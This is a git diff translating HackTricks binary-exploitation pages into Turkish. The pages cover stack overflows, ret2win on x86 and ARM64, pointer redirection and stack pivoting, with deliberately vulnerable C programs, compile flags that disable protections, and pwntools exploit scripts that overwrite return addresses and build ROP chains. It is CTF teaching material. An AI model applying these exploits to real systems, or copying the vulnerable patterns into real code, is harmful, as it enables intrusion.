[**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır), böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır: {{#ref}} ret2win/ {{#endref}} -### Stack Shellcode +### Yığın Shellcode -In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: +Bu senaryoda, saldırgan yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir: {{#ref}} stack-shellcode/ {{#endref}} -### ROP & Ret2... techniques +### ROP & Ret2... teknikleri -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: +Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçevedir: **Çalıştırılamaz yığın (NX)**. Ve mevcut talimatları istismar ederek rastgele komutlar çalıştıracak birkaç başka tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Heap Overflows +## Yığın Taşmaları -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de olabilir: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## Koruma Türleri -There are several protections trying to prevent the exploitation of vulnerabilities, check them in: +Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md index f92bebd28..7245e8528 100644 --- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md +++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md @@ -4,21 +4,21 @@ ## String pointers -If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. +Eğer bir fonksiyon çağrısı, yığında bulunan bir stringin adresini kullanacaksa, buffer overflow'u **bu adresi üzerine yazmak** ve **binaries içindeki farklı bir stringin adresini** koymak için kötüye kullanılabilir. -If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. +Örneğin, bir **`system`** fonksiyon çağrısı **bir komutu çalıştırmak için bir stringin adresini kullanacaksa**, bir saldırgan **yığında farklı bir stringin adresini**, **`export PATH=.:$PATH`** yerleştirebilir ve mevcut dizinde **yeni stringin ilk harfi ile aynı isme sahip bir script oluşturabilir** çünkü bu binary tarafından çalıştırılacaktır. -You can find an **example** of this in: +Bunun bir **örneğini** şurada bulabilirsiniz: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - - 32bit, change address to flags string in the stack so it's printed by `puts` +- 32bit, yığında adresi değiştirerek flag stringini `puts` ile yazdırın ## Function pointers -Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). +String pointer ile aynı ancak fonksiyonlara uygulanır, eğer **stack bir fonksiyonun adresini** içeriyorsa ve bu çağrılacaksa, **değiştirmek mümkündür** (örneğin **`system`** çağırmak için). -You can find an example in: +Bir örneği şurada bulabilirsiniz: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 0cad69c6d..d45c554b3 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: +**Ret2win** zorlukları, özellikle **binary exploitation** ile ilgili görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyadaki bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığındaki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: -### C Example - -Consider a simple C program with a vulnerability and a `win` function that we intend to call: +### C Örneği +Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız bir `win` fonksiyonunu düşünün: ```c #include #include void win() { - printf("Congratulations! You've called the win function.\n"); +printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { - char buf[64]; - gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -To compile this program without stack protections and with **ASLR** disabled, you can use the following command: - +Bu programı yığın korumaları olmadan ve **ASLR** devre dışı bırakılmış olarak derlemek için aşağıdaki komutu kullanabilirsiniz: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` +- `-m32`: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF zorluklarında yaygındır). +- `-fno-stack-protector`: Yığın taşmalarına karşı korumaları devre dışı bırak. +- `-z execstack`: Yığında kodun çalışmasına izin ver. +- `-no-pie`: `win` fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız Yürütülebilir'i devre dışı bırak. +- `-o vulnerable`: Çıktı dosyasının adını `vulnerable` olarak belirle. -- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). -- `-fno-stack-protector`: Disable protections against stack overflows. -- `-z execstack`: Allow execution of code on the stack. -- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change. -- `-o vulnerable`: Name the output file `vulnerable`. - -### Python Exploit using Pwntools - -For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function. +### Pwntools Kullanarak Python Exploit +Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir ve exploit yazmak için kullanılır. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile yazmak için bir yük oluşturacaktır. ```python from pwn import * @@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` - -To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use: - +`win` fonksiyonunun adresini bulmak için **gdb**, **objdump** veya ikili dosyaları incelemenizi sağlayan başka bir araç kullanabilirsiniz. Örneğin, `objdump` ile şunu kullanabilirsiniz: ```sh objdump -d vulnerable | grep win ``` +Bu komut, `win` fonksiyonunun montajını, başlangıç adresi de dahil olmak üzere gösterecektir. -This command will show you the assembly of the `win` function, including its starting address. +Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini `win` adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. `vulnerable_function` döndüğünde, `main`'e veya çıkışa dönmek yerine `win`'e atlar ve mesaj yazdırılır. -The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. +## Koruma Önlemleri -## Protections +- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Üste Binen** bir işlem yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) vardır. +- [**Yığın Kanalları**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir. -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. - -## Other examples & References +## Diğer Örnekler & Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - - 32bit, no ASLR +- 32bit, ASLR yok - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - - 64 bits with ASLR, with a leak of the bin address +- 64 bit ASLR ile, bin adresinin sızıntısı ile - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - - 64 bits, no ASLR +- 64 bit, ASLR yok - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow +- 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst üste yazmak için format dizesi - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi üst üste yazılması (1Bayt) - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi üst üste yazılması (1Bayt) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. +- Program, bir sayının boyutunu kontrol etmek için yalnızca son baytı doğruluyor, bu nedenle son bayt izin verilen aralıkta olduğu sürece herhangi bir boyut eklemek mümkündür. Ardından, girdi, bir ret2win ile istismar edilen bir tampon taşması oluşturur. - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) +- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst üste yazma (ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions +- arm64, PIE, `win` fonksiyonu aslında 2 fonksiyondur, bu nedenle 2 fonksiyonu çağıran ROP gadget - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - - ARM64, off-by-one to call a win function +- ARM64, bir `win` fonksiyonunu çağırmak için bir baytlık taşma -## ARM64 Example +## ARM64 Örneği {{#ref}} ret2win-arm64.md diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 410cf5cf0..2e8cde22f 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,92 +2,80 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64'e giriş için şunu bulun: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code - +## Kod ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +PIE ve canary olmadan derleyin: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` +## Offset Bulma -## Finding the offset +### Desen Seçeneği -### Pattern option - -This example was created using [**GEF**](https://github.com/bata24/gef): - -Stat gdb with gef, create pattern and use it: +Bu örnek [**GEF**](https://github.com/bata24/gef) kullanılarak oluşturuldu: +Gef ile gdb'yi başlatın, desen oluşturun ve kullanın: ```bash gdb -q ./ret2win pattern create 200 run ``` -
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: - +arm64, ele geçirilmiş olan x30 kaydındaki adrese geri dönmeye çalışacaktır, bunu desen ofsetini bulmak için kullanabiliriz: ```bash pattern search $x30 ``` -
-**The offset is 72 (9x48).** +**Ofset 72'dir (9x48).** -### Stack offset option - -Start by getting the stack address where the pc register is stored: +### Yığın ofset seçeneği +pc kaydının saklandığı yığın adresini alarak başlayın: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ``` -
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: - +Şimdi `read()`'den sonra bir kesme noktası ayarlayın ve `read()` çalıştırılana kadar devam edin ve 13371337 gibi bir desen ayarlayın: ``` b *vulnerable_function+28 c ``` -
-Find where this pattern is stored in memory: +Bu desenin bellekte nerede saklandığını bulun:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** +Sonra: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
@@ -95,16 +83,13 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** ### Regular -Get the address of the **`win`** function: - +**`win`** fonksiyonunun adresini alın: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` - -Exploit: - +Sömürü: ```python from pwn import * @@ -124,13 +109,11 @@ p.send(payload) print(p.recvline()) p.close() ``` -
### Off-by-1 -Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. - +Aslında bu, yığında saklanan PC'de daha çok off-by-2 gibi olacak. Tüm dönüş adresini yazmak yerine, **sadece son 2 baytı** `0x06c4` ile yazacağız. ```python from pwn import * @@ -150,22 +133,20 @@ p.send(payload) print(p.recvline()) p.close() ``` -
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. +ARM64'te başka bir off-by-one örneğini [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) adresinde bulabilirsiniz, bu da kurgusal bir zafiyette gerçek bir off-by-**one** örneğidir. -## With PIE +## PIE ile > [!TIP] -> Compile the binary **without the `-no-pie` argument** +> Binaries'i **`-no-pie` argümanı olmadan** derleyin ### Off-by-2 -Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: +Bir leak olmadan kazanan fonksiyonun tam adresini bilemeyiz ama fonksiyonun binary'den olan offset'ini bilebiliriz ve overwrite ettiğimiz return adresinin zaten yakın bir adrese işaret ettiğini bildiğimizde, bu durumda win fonksiyonunun offset'ini (**0x7d4**) leak etmek ve sadece bu offset'i kullanmak mümkündür:
- ```python from pwn import * @@ -185,5 +166,4 @@ p.send(payload) print(p.recvline()) p.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a786dea8e..36a42c429 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -2,64 +2,61 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. - -As a reminder, **`leave`** basically means: +Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla fonksiyonun yürütülmesini zincirleme işlemini gerçekleştirir. +Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder: ``` mov ebp, esp pop ebp ret ``` - -And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. +Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür. ### EBP2Ret -This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. +Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. -If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ -Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. +Eğer `fvuln`'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ +İki adresi **bilmeniz gerektiğini unutmayın**: ESP'nin gideceği adres ve ESP'nin işaret ettiği adresi yazmanız gereken yer. -#### Exploit Construction +#### Exploit Yapısı -First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. +Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`** çalıştırılacak. -Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: +Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz: -- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. -- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). -- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. -- Some [**ROP**](../rop-return-oriented-programing/) chain +- Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi. +- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bit). +- **`jump esp;`** gadget'ının adresi ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ardından çalıştırılacak **shellcode**. +- Bazı [**ROP**](../rop-return-oriented-programing/) zincirleri. -Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. +Kontrollü bellek kısmındaki bu adreslerin önünde **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür. #### Off-By-One Exploit -There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ -Usually it's modified the byte 0x00t o jump as far as possible. +Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz** durumlarda kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.\ +Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00'ı değiştirilir. -Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. +Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve son ROP zincirinin çalıştırılması daha olası hale gelir. -### **EBP Chaining** +### **EBP Zincirleme** -Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. +Bu nedenle, yığındaki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığından kontrol edilen `EBP` adresine taşımak mümkündür**. -Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: +Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir `RET`. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür: -- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction -- **`system()`** -> Called by `ret` -- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin -- **`&("/bin/sh")`**-> Param fro `system` +- **`&(next fake EBP)`** -> `leave` talimatından `pop ebp` nedeniyle yeni EBP'yi yükle +- **`system()`** -> `ret` tarafından çağrılır +- **`&(leave;ret)`** -> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar +- **`&("/bin/sh")`**-> `system` için parametre -Basically this way it's possible to chain several fake EBPs to control the flow of the program. +Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür. -This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. - -Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page: +Bu, [ret2lib](../rop-return-oriented-programing/ret2lib/) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. +Ayrıca, bu tekniği bir **stack leak** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) burada bulunmaktadır. Bu sayfanın son payload'u: ```python from pwn import * @@ -75,34 +72,32 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( - 0x0, # rbp (could be the address of anoter fake RBP) - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, - elf.sym['winner'] +0x0, # rbp (could be the address of anoter fake RBP) +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, +elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( - buffer, # Load leak address in RBP - LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leak address in RBP +LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +## EBP kullanılmayabilir -## EBP might not be used - -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ -This is because the **prologue and epilogue changes** if the binary is optimized. - -- **Not optimized:** +As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol etmez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\ +Bu, **prolog ve epilog değişiklikleri** ikili optimize edildiğinde gerçekleşir. +- **Optimize edilmemiş:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - -- **Optimized:** - +- **Optimize edilmiş:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size @@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` +## RSP'yi Kontrol Etmenin Diğer Yolları -## Other ways to control RSP - -### **`pop rsp`** gadget - -[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: +### **`pop rsp`** aracı +[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` aracı** vardı ve **stack'ten bir leak** vardı: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( - 0, # r13 - 0, # r14 - 0, # r15 - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, # r15 - elf.sym['winner'] +0, # r13 +0, # r14 +0, # r15 +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, # r15 +elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 @@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( - POP_CHAIN, - buffer # rsp +POP_CHAIN, +buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` - ### xchg \, rsp gadget - ``` pop <=== return pointer xchg , rsp ``` - ### jmp esp -Check the ret2esp technique here: +ret2esp tekniğini burada kontrol edin: {{#ref}} 